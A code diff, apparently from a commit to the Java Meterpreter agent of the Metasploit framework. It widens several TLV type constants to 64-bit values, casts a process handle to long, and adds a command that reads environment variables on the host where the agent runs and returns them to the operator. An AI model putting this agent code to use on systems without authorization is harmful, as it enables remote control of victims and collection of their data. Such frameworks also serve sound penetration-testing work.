public static final int TLV_TYPE_ALLOC_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_UINT | 2005; public static final int TLV_TYPE_ALLOC_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2005;
public static final int TLV_TYPE_MEMORY_STATE = TLVPacket.TLV_META_TYPE_UINT | 2006; public static final int TLV_TYPE_MEMORY_STATE = TLVPacket.TLV_META_TYPE_UINT | 2006;
public static final int TLV_TYPE_MEMORY_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2007; public static final int TLV_TYPE_MEMORY_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2007;
public static final int TLV_TYPE_ALLOC_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2008; public static final int TLV_TYPE_ALLOC_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2008;
@ -125,16 +129,16 @@ public interface TLVType {
public static final int TLV_TYPE_IMAGE_FILE = TLVPacket.TLV_META_TYPE_STRING | 2400; public static final int TLV_TYPE_IMAGE_FILE = TLVPacket.TLV_META_TYPE_STRING | 2400;
public static final int TLV_TYPE_IMAGE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 2401; public static final int TLV_TYPE_IMAGE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 2401;
public static final int TLV_TYPE_PROCEDURE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2402; public static final int TLV_TYPE_PROCEDURE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2402;
public static final int TLV_TYPE_PROCEDURE_ADDRESS = TLVPacket.TLV_META_TYPE_UINT | 2403; public static final int TLV_TYPE_PROCEDURE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2403;
public static final int TLV_TYPE_IMAGE_BASE = TLVPacket.TLV_META_TYPE_UINT | 2404; public static final int TLV_TYPE_IMAGE_BASE = TLVPacket.TLV_META_TYPE_QWORD | 2404;
public static final int TLV_TYPE_IMAGE_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2405; public static final int TLV_TYPE_IMAGE_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2405;
public static final int TLV_TYPE_IMAGE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2406; public static final int TLV_TYPE_IMAGE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2406;
public static final int TLV_TYPE_THREAD_ID = TLVPacket.TLV_META_TYPE_UINT | 2500; public static final int TLV_TYPE_THREAD_ID = TLVPacket.TLV_META_TYPE_UINT | 2500;
public static final int TLV_TYPE_THREAD_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2502; public static final int TLV_TYPE_THREAD_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2502;
public static final int TLV_TYPE_EXIT_CODE = TLVPacket.TLV_META_TYPE_UINT | 2510; public static final int TLV_TYPE_EXIT_CODE = TLVPacket.TLV_META_TYPE_UINT | 2510;
public static final int TLV_TYPE_ENTRY_POINT = TLVPacket.TLV_META_TYPE_UINT | 2511; public static final int TLV_TYPE_ENTRY_POINT = TLVPacket.TLV_META_TYPE_QWORD | 2511;
public static final int TLV_TYPE_ENTRY_PARAMETER = TLVPacket.TLV_META_TYPE_UINT | 2512; public static final int TLV_TYPE_ENTRY_PARAMETER = TLVPacket.TLV_META_TYPE_QWORD | 2512;
public static final int TLV_TYPE_CREATION_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2513; public static final int TLV_TYPE_CREATION_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2513;
public static final int TLV_TYPE_REGISTER_NAME = TLVPacket.TLV_META_TYPE_STRING | 2540; public static final int TLV_TYPE_REGISTER_NAME = TLVPacket.TLV_META_TYPE_STRING | 2540;
@ -149,7 +153,7 @@ public interface TLVType {
// Event Log // Event Log
public static final int TLV_TYPE_EVENT_SOURCENAME = TLVPacket.TLV_META_TYPE_STRING | 4000; public static final int TLV_TYPE_EVENT_SOURCENAME = TLVPacket.TLV_META_TYPE_STRING | 4000;
public static final int TLV_TYPE_EVENT_HANDLE = TLVPacket.TLV_META_TYPE_UINT | 4001; public static final int TLV_TYPE_EVENT_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 4001;
public static final int TLV_TYPE_EVENT_NUMRECORDS = TLVPacket.TLV_META_TYPE_UINT | 4002; public static final int TLV_TYPE_EVENT_NUMRECORDS = TLVPacket.TLV_META_TYPE_UINT | 4002;
public static final int TLV_TYPE_EVENT_READFLAGS = TLVPacket.TLV_META_TYPE_UINT | 4003; public static final int TLV_TYPE_EVENT_READFLAGS = TLVPacket.TLV_META_TYPE_UINT | 4003;

View File

@ -43,6 +43,7 @@ public class Loader implements ExtensionLoader {
mgr.registerCommand("stdapi_net_config_get_routes", stdapi_net_config_get_routes.class, V1_4); mgr.registerCommand("stdapi_net_config_get_routes", stdapi_net_config_get_routes.class, V1_4);
mgr.registerCommand("stdapi_net_socket_tcp_shutdown", stdapi_net_socket_tcp_shutdown.class, V1_2, V1_3); mgr.registerCommand("stdapi_net_socket_tcp_shutdown", stdapi_net_socket_tcp_shutdown.class, V1_2, V1_3);
mgr.registerCommand("stdapi_sys_config_getuid", stdapi_sys_config_getuid.class); mgr.registerCommand("stdapi_sys_config_getuid", stdapi_sys_config_getuid.class);
mgr.registerCommand("stdapi_sys_config_getenv", stdapi_sys_config_getenv.class);
mgr.registerCommand("stdapi_sys_config_sysinfo", stdapi_sys_config_sysinfo.class); mgr.registerCommand("stdapi_sys_config_sysinfo", stdapi_sys_config_sysinfo.class);
mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute.class, V1_2, V1_3); mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute.class, V1_2, V1_3);
mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes.class, V1_2); mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes.class, V1_2);

View File

@ -0,0 +1,34 @@
package com.metasploit.meterpreter.stdapi;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
import java.util.List;
public class stdapi_sys_config_getenv implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
List envVars = request.getValues(TLVType.TLV_TYPE_ENV_VARIABLE);
for (int i = 0; i < envVars.size(); ++i) {
String envVar = (String)envVars.get(i);
if (envVar.startsWith("$") || envVar.startsWith("%")) {
envVar = envVar.substring(1);
}
if (envVar.endsWith("$") || envVar.endsWith("%")) {
envVar = envVar.substring(0, envVar.length() - 1);
}
String envVal = System.getenv(envVar);
TLVPacket grp = new TLVPacket();
grp.add(TLVType.TLV_TYPE_ENV_VARIABLE, envVar);
grp.add(TLVType.TLV_TYPE_ENV_VALUE, envVal);
response.addOverflow(TLVType.TLV_TYPE_ENV_GROUP, grp);
}
return ERROR_SUCCESS;
}
}

View File

@ -1,14 +1,13 @@
package com.metasploit.meterpreter.stdapi; package com.metasploit.meterpreter.stdapi;
import java.io.IOException;
import java.util.StringTokenizer;
import com.metasploit.meterpreter.Meterpreter; import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.ProcessChannel; import com.metasploit.meterpreter.ProcessChannel;
import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.command.Command;
import java.io.IOException;
public class stdapi_sys_process_execute implements Command { public class stdapi_sys_process_execute implements Command {
private static final int PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1); private static final int PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1);
@ -37,7 +36,7 @@ public class stdapi_sys_process_execute implements Command {
synchronized (stdapi_sys_process_execute.class) { synchronized (stdapi_sys_process_execute.class) {
pid++; pid++;
response.add(TLVType.TLV_TYPE_PID, pid); response.add(TLVType.TLV_TYPE_PID, pid);
response.add(TLVType.TLV_TYPE_PROCESS_HANDLE, pid); response.add(TLVType.TLV_TYPE_PROCESS_HANDLE, (long)pid);
} }
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID()); response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
} else { } else {